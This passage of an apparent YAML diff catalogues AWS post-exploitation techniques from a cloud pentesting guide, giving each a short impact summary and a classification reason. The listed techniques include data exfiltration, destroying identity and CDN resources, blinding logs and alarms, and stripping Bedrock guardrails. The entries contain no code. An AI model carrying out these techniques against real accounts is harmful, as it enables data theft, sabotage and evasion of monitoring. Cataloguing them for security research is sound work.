`UpdateFlow` + reason: 'Documented impact: disclose a wider dataset to the existing destination, defeat field-level privacy controls, + corrupt downstream schemas/records and increase transfer frequency/cost. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-application-discovery-post-exploitation/README.md#discoverylistconfigurations--describeconfigurations--listserverneighbors---map-the-hybrid-estate + technique: '`discovery:ListConfigurations` / `DescribeConfigurations` / `ListServerNeighbors` - Map the hybrid + estate' + reason: This heading concerns reading or exporting data via `discovery:ListConfigurations` / `DescribeConfigurations` + / `ListServerNeighbors` - Map the hybrid e; it does not itself authorize a different AWS principal or execute + code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-application-discovery-post-exploitation/README.md#discoverystartexporttask--describeexporttasks---bulk-export-discovered-data-through-an-aws-managed-download-url + technique: '`discovery:StartExportTask` + `DescribeExportTasks` - Bulk-export discovered data through an AWS-managed + download URL' + reason: This heading concerns reading or exporting data via `discovery:StartExportTask` + `DescribeExportTasks` + - Bulk-export discovered data through an AWS-man; it does not itself authorize a different AWS principal or + execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appstream-post-exploitation/README.md#appstreamupdateimagepermissions--share-and-clone-a-private-golden-image-cross-account + technique: '`appstream:UpdateImagePermissions` — share and clone a private golden image cross-account' + reason: 'Documented impact: Cross-account disclosure and durable copying of a private golden image, including + proprietary applications, internal configuration, cached data, or credentials accidentally baked into the filesystem. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appstream-post-exploitation/README.md#appstreamcreateexportimagetask--iampassrole--turn-a-private-image-into-an-ec2-ami + technique: '`appstream:CreateExportImageTask` + `iam:PassRole` — turn a private image into an EC2 AMI' + reason: 'Documented impact: Materialize a private streaming golden image as an EC2 AMI, enabling offline or launched-instance + inspection of proprietary software, internal configuration, cached data, and accidentally baked credentials. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appstream-post-exploitation/README.md#appstreamupdatestack--re-enable-client-data-transfer-channels + technique: '`appstream:UpdateStack` — re-enable client data-transfer channels' + reason: 'Documented impact: Enable data ingress through clipboard/file upload and exfiltration through clipboard/file + download/local printing for current or future sessions on the stack. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-artifact-post-exploitation/README.md#artifactgettermforreport--artifactgetreport--download-confidential-compliance-reports + technique: '`artifact:GetTermForReport` + `artifact:GetReport` — download confidential compliance reports' + reason: 'Documented impact: Exfiltrate confidential AWS or third-party audit and compliance reports, including + attachments embedded in PDFs. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-post-exploitation/README.md#athenaupdateworkgroup--redirect-query-results-to-an-attacker-bucket--strip-result-encryption + technique: '`athena:UpdateWorkGroup` — redirect query results to an attacker bucket / strip result encryption' + reason: 'Documented impact: Continuous exfiltration of the result sets of other users'' Athena queries in the + affected work group (and/or storage of results in the clear), without querying the underlying data yourself. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-post-exploitation/README.md#athenacreateworkgroup--athenastartqueryexecution--read-governed-data-into-a-bucket-you-control + technique: '`athena:CreateWorkGroup` + `athena:StartQueryExecution` — read governed data into a bucket you control' + reason: 'Documented impact: Bulk exfiltration of any Glue/Lake-Formation table the caller''s role can query, written + to an attacker-controlled bucket. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-aurora-dsql-post-exploitation/README.md#dsqldbconnect--access-through-a-mapped-database-role + technique: '`dsql:DbConnect` — access through a mapped database role' + reason: 'Documented impact: authenticate through the IAM principal''s mapped PostgreSQL role and read or modify + every database object granted to that role. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-backup-post-exploitation/README.md#backupstartrestorejob--iampassrole--clone-protected-data + technique: '`backup:StartRestoreJob` + `iam:PassRole` — clone protected data' + reason: 'Documented impact: Read data the caller cannot access on the source resource by restoring a recovery + point into an attacker-named or attacker-readable target (e.g. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-backup-post-exploitation/README.md#backupputbackupvaultaccesspolicy--self-grant-recovery-point-operations + technique: '`backup:PutBackupVaultAccessPolicy` — self-grant recovery-point operations' + reason: 'Documented impact: Self-grant specific recovery-point operations (StartRestoreJob, DeleteRecoveryPoint, + GetRecoveryPointRestoreMetadata) through a vault resource policy with no identity-based grant — enabling data + recovery or destruction of backups. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-batch-data-disclosure-post-exploitation/README.md#batchdescribejobdefinitions--environment-disclosure + technique: '`batch:DescribeJobDefinitions` — environment disclosure' + reason: 'Documented impact: Disclosure of effective runtime commands, plaintext environment overrides, infrastructure + details, and any credentials incorrectly passed as literal values. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-batch-data-disclosure-post-exploitation/README.md#batchdescribejobs--read-per-run-commands-and-environment-overrides + technique: '`batch:DescribeJobs` — read per-run commands and environment overrides' + reason: 'Documented impact: Disclosure of effective runtime commands, plaintext environment overrides, infrastructure + details, and any credentials incorrectly passed as literal values. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md#bedrockupdateguardrail--strip-a-guardrails-policies-while-the-application-keeps-using-it + technique: '`bedrock:UpdateGuardrail` — strip a guardrail''s policies while the application keeps using it' + reason: 'Documented impact: Silent removal of the content-safety, denied-topic and PII-redaction controls protecting + every application that references the guardrail, while the guardrail keeps existing, keeps the same id and keeps + reporting READY. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md#bedrockdeletemodelinvocationloggingconfiguration--bedrockputmodelinvocationloggingconfiguration--blind-out-the-promptcompletion-audit-trail + technique: '`bedrock:DeleteModelInvocationLoggingConfiguration` | `bedrock:PutModelInvocationLoggingConfiguration` + — blind out the prompt/completion audit trail' + reason: 'Documented impact: Account- and Region-wide destruction of the only record of what was sent to and returned + by every Bedrock model — prompts, completions, embeddings and images — for every application in the Region, + with no effect on the... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#chimegetmediapipeline--recover-an-rtmp-publishing-key + technique: '`chime:GetMediaPipeline` — recover an RTMP publishing key' + reason: 'Documented impact: recover a third-party live-stream publishing credential and destination identifier. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-clean-rooms-post-exploitation/README.md#redirect-stored-sql-and-ml-output-destinations-with-passrole + technique: Redirect stored SQL and ML output destinations with `PassRole` + reason: 'Documented impact: Persistent capture of later protected-query/job results, trained-model artifacts, + or inference outputs in an attacker-readable S3 location. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloud-map-post-exploitation/README.md#servicediscoveryregisterinstance--blindly-overwrite-or-inject-a-backend + technique: '`servicediscovery:RegisterInstance` — blindly overwrite or inject a backend' + reason: The section documents the resource or service effect of `servicediscovery:RegisterInstance` — blindly + overwrite or inject a backend, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloud-map-post-exploitation/README.md#servicediscoveryupdateinstancecustomhealthstatus--remove-or-revive-a-backend + technique: '`servicediscovery:UpdateInstanceCustomHealthStatus` — remove or revive a backend' + reason: The section documents the resource or service effect of `servicediscovery:UpdateInstanceCustomHealthStatus` + — remove or revive a backend, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudformation-data-disclosure-post-exploitation/README.md#describestacks-gettemplate-and-gettemplatesummary--secret-disclosure + technique: '`DescribeStacks`, `GetTemplate`, and `GetTemplateSummary` — secret disclosure' + reason: This heading concerns reading or exporting data via `DescribeStacks`, `GetTemplate`, and `GetTemplateSummary` + — secret disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudformation-data-disclosure-post-exploitation/README.md#cloudformationlistexports--cross-stack-output-disclosure + technique: '`cloudformation:ListExports` — cross-stack output disclosure' + reason: This heading concerns reading or exporting data via `cloudformation:ListExports` — cross-stack output + disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudformation-data-disclosure-post-exploitation/README.md#cloudformationdescribechangeset--pending-parameter-disclosure + technique: '`cloudformation:DescribeChangeSet` — pending parameter disclosure' + reason: This heading concerns reading or exporting data via `cloudformation:DescribeChangeSet` — pending parameter + disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-data-access-post-exploitation/README.md#cloudfrontlistdistributions-cloudfrontgetdistribution-cloudfrontgetdistributionconfig--recover-origin-custom-headers + technique: '`cloudfront:ListDistributions`, `cloudfront:GetDistribution`, `cloudfront:GetDistributionConfig` — + Recover origin custom headers' + reason: 'Documented impact: Disclosure of origin shared secrets, internal origin names, and configuration that + can enable CDN/WAF bypass or direct backend access. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-data-access-post-exploitation/README.md#cloudfront-keyvaluestoregetkey-cloudfront-keyvaluestorelistkeys--read-edge-configuration-values + technique: '`cloudfront-keyvaluestore:GetKey`, `cloudfront-keyvaluestore:ListKeys` — Read edge configuration values' + reason: 'Documented impact: Disclosure of protected edge configuration and any credentials, routing controls, + authorization data, or tenant values stored there. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-data-access-post-exploitation/README.md#cloudfrontgetfunction--download-edge-function-source + technique: '`cloudfront:GetFunction` — Download edge-function source' + reason: 'Documented impact: Disclosure of proprietary edge code, security controls, internal routing logic, and + embedded secrets. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md#cloudfrontdelete + technique: '`cloudfront:Delete*`' + reason: 'Documented impact: Irreversible destruction of the CDN layer: the distribution, its cache/origin-request/response-headers + policies, key groups, functions and origin access identities. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudtrail-data-access-post-exploitation/README.md#cloudtraillookupevents--read-account-activity-and-request-details + technique: '`cloudtrail:LookupEvents` — Read account activity and request details' + reason: 'Documented impact: Disclosure of security/audit events, identities, source IP addresses, resource identifiers, + and API request details. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudtrail-post-exploitation/README.md#cloudtrail-lake-channel-poisoning--forge-events-with-cloudtrail-dataputauditevents + technique: CloudTrail Lake channel poisoning — forge events with `cloudtrail-data:PutAuditEvents` + reason: 'Documented impact: Corruption of the integrity of the CloudTrail Lake investigation surface — false attribution, + fabricated timelines, and burial of real activity under attacker-generated noise, plus ingestion-cost inflation. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-log-data-post-exploitation/README.md#logsgetlogevents-logsfilterlogevents--read-application-and-audit-logs + technique: '`logs:GetLogEvents`, `logs:FilterLogEvents` — Read application and audit logs' + reason: 'Documented impact: Disclosure of application data, credentials, tokens, PII, and security/audit events + retained in CloudWatch Logs. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-log-data-post-exploitation/README.md#logsgetlogrecord-logsgetqueryresults--alternate-log-data-paths + technique: '`logs:GetLogRecord`, `logs:GetQueryResults` — alternate log-data paths' + reason: 'Documented impact: Retrieve complete log records or an existing query''s result rows without permission + to start a query, potentially disclosing credentials, session tokens, request bodies, PII, security events, + and other fields omitted from the... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-log-data-post-exploitation/README.md#rumgetappmonitordata--read-browser-and-user-session-telemetry + technique: '`rum:GetAppMonitorData` — read browser and user-session telemetry' + reason: 'Documented impact: Bulk disclosure of retained browser and user-session telemetry, including stable user/session + identifiers, visited pages and referrers, client-side errors, HTTP metadata, device/browser attributes, location + fields, and... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-log-data-post-exploitation/README.md#logscreateexporttask--bulk-export-a-whole-log-groups-history-to-s3 + technique: '`logs:CreateExportTask` — bulk-export a whole log group''s history to S3' + reason: 'Documented impact: Exfiltration of a log group''s full retained history (credentials, tokens, PII, audit + trail) to an attacker-controlled (optionally cross-account) S3 bucket, without direct log-read permission. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-omni-post-exploitation/README.md#cloudwatchupdateintegration--rebind-an-external-integration + technique: '`cloudwatch:UpdateIntegration` — rebind an external integration' + reason: 'Documented impact: redirect or disrupt agent/provider traffic and any alert or asynchronous workflow + that trusts the modified integration; for a valid attacker-controlled provider account or workspace, future + integration activity can reach that... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-omni-post-exploitation/README.md#cloudwatchupdatealert--hijack-a-scheduled-query-and-its-notifications + technique: '`cloudwatch:UpdateAlert` — hijack a scheduled query and its notifications' + reason: 'Documented impact: suppress or redirect operational notifications, poison alert state with an attacker-selected + query/threshold, create false incidents, hide real incidents, and conditionally leak the alert notification''s + state/contributor... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchgetdashboard--dashboard-body-disclosure + technique: '**`cloudwatch:GetDashboard` — Dashboard-body disclosure**' + reason: 'Documented impact: Disclose dashboard widget configuration — Metrics Insights queries, alarm/resource + identifiers, account IDs, regions, operational URLs, runbooks and operator-pasted text — without modifying anything. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#oamcreatelink--telemetry-service-link-actions--expose-observability-data-cross-account + technique: '**`oam:CreateLink` + telemetry-service `Link` actions — expose observability data cross-account**' + reason: 'Documented impact: Continuous cross-account disclosure of selected logs, metrics, traces and application-observability + metadata to a monitoring account controlled by the attacker. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchtagresource-cloudwatchuntagresource + technique: '**`cloudwatch:TagResource`, `cloudwatch:UntagResource`**' + reason: 'Documented impact: Disruption of tag-based access control policies. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdeletealarmscloudwatchputmetricalarm--cloudwatchputcompositealarm + technique: '**`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**' + reason: 'Documented impact: Reconfigured alarms can raise false positives, hide real threshold breaches, or redirect + automated actions. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdisablealarmactions-cloudwatchenablealarmactions-cloudwatchsetalarmstate + technique: '**`cloudwatch:DisableAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`**' + reason: 'Documented impact: Disabling actions suppresses notifications and remediation, while forced alarm states + can create distractions, misleading telemetry, or execution of a preconfigured privileged alarm action. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdeleteanomalydetector-cloudwatchputanomalydetector + technique: '**`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**' + reason: 'Documented impact: Direct effect in the detection of unusual patterns or security threats. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdeletedashboards-cloudwatchputdashboard + technique: '**`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`**' + reason: 'Documented impact: Loss of monitoring visibility and misleading information. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdeleteinsightrules-cloudwatchputinsightrule-cloudwatchputmanagedinsightrules + technique: '**`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRules`**' + reason: 'Documented impact: Difficulty to detect and respond to performance issues and anomalies, misinformed + decision-making and potentially hiding malicious activities or system failures. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdisableinsightrules-cloudwatchenableinsightrules + technique: '**`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**' + reason: 'Documented impact: Confusion among the operations team, leading to delayed responses to actual issues + and unnecessary actions based on false alerts. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdeletemetricstream--cloudwatchputmetricstream--cloudwatchputmetricdata + technique: '**`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`**' + reason: 'Documented impact: Disruption in the flow of monitoring data, impacting the detection of anomalies and + incidents, resource manipulation and costs increasing due to the creation of excessive metric streams. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchstopmetricstreams-cloudwatchstartmetricstreams + technique: '**`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`**' + reason: 'Documented impact: Disruption in the flow of monitoring data, impacting the detection of anomalies and + incidents. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#observabilityadminupdatetelemetrypipeline--erase-or-rewrite-telemetry-before-storage + technique: '**`observabilityadmin:UpdateTelemetryPipeline` — erase or rewrite telemetry before storage**' + reason: 'Documented impact: Loss or falsification of security, application, and operational telemetry before responders, + alarms, queries, and retention controls receive it. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#oamupdatelink--oamdeletelink--widen-disclosure-or-blind-central-monitoring + technique: '**`oam:UpdateLink` / `oam:DeleteLink` — widen disclosure or blind central monitoring**' + reason: 'Documented impact: Expansion exposes previously filtered telemetry to the monitoring account; narrowing + or deletion creates a cross-account monitoring blind spot for incident response, operations and detection pipelines. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codeartifact-auth-token-post-exploitation/README.md#codeartifactgetauthorizationtoken-stsgetservicebearertoken + technique: '`codeartifact:GetAuthorizationToken`, `sts:GetServiceBearerToken`' + reason: 'Documented impact: Read or publish access to authorized package repositories, which can expose private + packages or enable dependency poisoning when write access is also granted. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codeartifact-post-exploitation/README.md#codeartifactgetpackageversionasset--direct-asset-download + technique: '`codeartifact:GetPackageVersionAsset` — direct asset download' + reason: 'Documented impact: Download a known private package asset, which may expose source code, compiled artifacts, + build configuration, or embedded credentials. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md#codebuildupdateproject-project-tags + technique: '`codebuild:UpdateProject` (project tags)' + reason: 'Documented impact: Disruption of cost allocation, resource tracking, and tag-based access control policies. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md#codebuildupdateprojectvisibility--expose-a-private-projects-builds-to-the-internet + technique: '`codebuild:UpdateProjectVisibility` — expose a private project''s builds to the internet' + reason: 'Documented impact: Unauthenticated Internet disclosure of a private CodeBuild project''s build logs, + environment configuration, and artifacts — commonly leaking secrets, credentials, and source — via a single + management call. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md#codebuilddeleteproject + technique: '`codebuild:DeleteProject`' + reason: 'Documented impact: Loss of project configuration and service disruption for applications using the deleted + project. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md#codebuilddeletesourcecredentials + technique: '`codebuild:DeleteSourceCredentials`' + reason: 'Documented impact: Disruption of normal functioning for applications relying on the affected repository + due to the removal of source credentials. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codecommit-source-access-post-exploitation/README.md#codecommitgetfile-codecommitgetblob-codecommitgetcommit--read-targeted-repository-data + technique: '`codecommit:GetFile`, `codecommit:GetBlob`, `codecommit:GetCommit` — Read targeted repository data' + reason: 'Documented impact: Disclosure of private source files, embedded credentials, commit messages, repository + history metadata, and contributor PII. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codecommit-source-access-post-exploitation/README.md#codecommitgitpull--clone-private-repository-contents + technique: '`codecommit:GitPull` — Clone private repository contents' + reason: 'Documented impact: Disclosure of private source code, complete Git history, and credentials committed + now or in the past. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codeguru-profiler-post-exploitation/README.md#codeguru-profilergetprofile--extract-private-code-structure-and-execution-paths + technique: '`codeguru-profiler:GetProfile` — extract private code structure and execution paths' + reason: 'Documented impact: Disclosure of private application structure and execution flows that can accelerate + source-informed exploitation, identify high-value handlers and reveal performance-sensitive or rarely exercised + paths. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codeguru-profiler-post-exploitation/README.md#codeguru-profilerpostagentprofile--poison-aggregated-profiles-and-findings + technique: '`codeguru-profiler:PostAgentProfile` — poison aggregated profiles and findings' + reason: 'Documented impact: Integrity loss in performance profiles, recommendations and anomaly signals, potentially + concealing real activity or sending responders toward fabricated code paths. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinegetpipeline-codepipelinegetpipelineexecution--read-default-and-resolved-variables + technique: '`codepipeline:GetPipeline`, `codepipeline:GetPipelineExecution` — read default and resolved variables' + reason: 'Documented impact: Disclosure of pipeline/action configuration, plaintext variable defaults, and resolved + per-execution values. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinelistactionexecutions--read-resolved-action-configuration-and-output-variables + technique: '`codepipeline:ListActionExecutions` — read resolved action configuration and output variables' + reason: 'Documented impact: Disclosure of resolved provider parameters, artifact locations, build/deploy outputs, + and credentials or application secrets emitted as literal output variables. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-post-exploitation/README.md#cognito-idplistusers--cognito-idpadmingetuser--exfiltrate-the-user-directory + technique: '`cognito-idp:ListUsers` | `cognito-idp:AdminGetUser` — exfiltrate the user directory' + reason: 'Documented impact: Full disclosure of the application''s user directory — e-mail addresses, phone numbers, + verification state, group membership and custom authorization attributes — usable directly as a phishing target + list and as reconnaissance... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-post-exploitation/README.md#cognito-idpsetlogdeliveryconfiguration--blind-wipe-the-user-pools-log-delivery + technique: '`cognito-idp:SetLogDeliveryConfiguration` — blind-wipe the user pool''s log delivery' + reason: 'Documented impact: Blinds the user pool''s own security telemetry — failed sign-ins, threat-protection + events and notification failures are no longer delivered anywhere — without touching CloudTrail, so the account + still looks fully instrumented. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-post-exploitation/README.md#cognito-idpadminuserglobalsignout--cognito-idpadmindisableuser--lock-the-users-out + technique: '`cognito-idp:AdminUserGlobalSignOut` | `cognito-idp:AdminDisableUser` — lock the users out' + reason: 'Documented impact: Denial of service against the application''s entire user base — all sessions terminated + and, with AdminDisableUser, sign-in blocked until each account is re-enabled one by one. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-post-exploitation/README.md#cognito-idpdeleteuserpooldomain--cognito-idpdeleteuserpool--destroy-the-identity-plane + technique: '`cognito-idp:DeleteUserPoolDomain` | `cognito-idp:DeleteUserPool` — destroy the identity plane' + reason: 'Documented impact: Irrecoverable loss of the application''s identity provider — all users, groups and + federated links gone, every deployed client pointing at a pool ID that no longer exists, and a released domain + prefix that a third party can... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-config-post-exploitation/README.md#redirect-future-configuration-inventory-with-configputdeliverychannel + technique: Redirect future configuration inventory with `config:PutDeliveryChannel` + reason: 'Documented impact: A full, continuously-updated copy of the account''s configuration inventory (every + recorded resource''s state) is streamed to an attacker-controlled S3 bucket and/or SNS topic, with no iam:PassRole + needed for an... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-config-post-exploitation/README.md#force-a-fixed-custom-evaluator-with-configstartconfigrulesevaluation + technique: Force a fixed custom evaluator with `config:StartConfigRulesEvaluation` + reason: 'Documented impact: Conditionally high: it cannot change evaluator code or role, but it re-runs an existing + custom rule''s Lambda on demand. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-config-post-exploitation/README.md#neuter-a-rule-in-place-with-configputconfigrule-blind + technique: Neuter a rule in place with `config:PutConfigRule` (blind) + reason: 'Documented impact: A live security rule keeps existing (so inventory/"is the rule present" checks stay + green) but is silently gutted so it can never report NON_COMPLIANT again — quieter than deleting the rule. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-health-post-exploitation/README.md#read-patient-workflow-metadata-with-health-agentgetpatientinsightsjob + technique: Read patient-workflow metadata with `health-agent:GetPatientInsightsJob` + reason: 'Documented impact: Disclosure of regulated patient/workflow context (patient and clinician identifiers + plus encounter purpose), job progress, internal HealthLake endpoints, and S3 input/output locations. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#connectcreateparticipant--mint-a-live-chat-or-webrtc-participant-bearer + technique: '`connect:CreateParticipant` 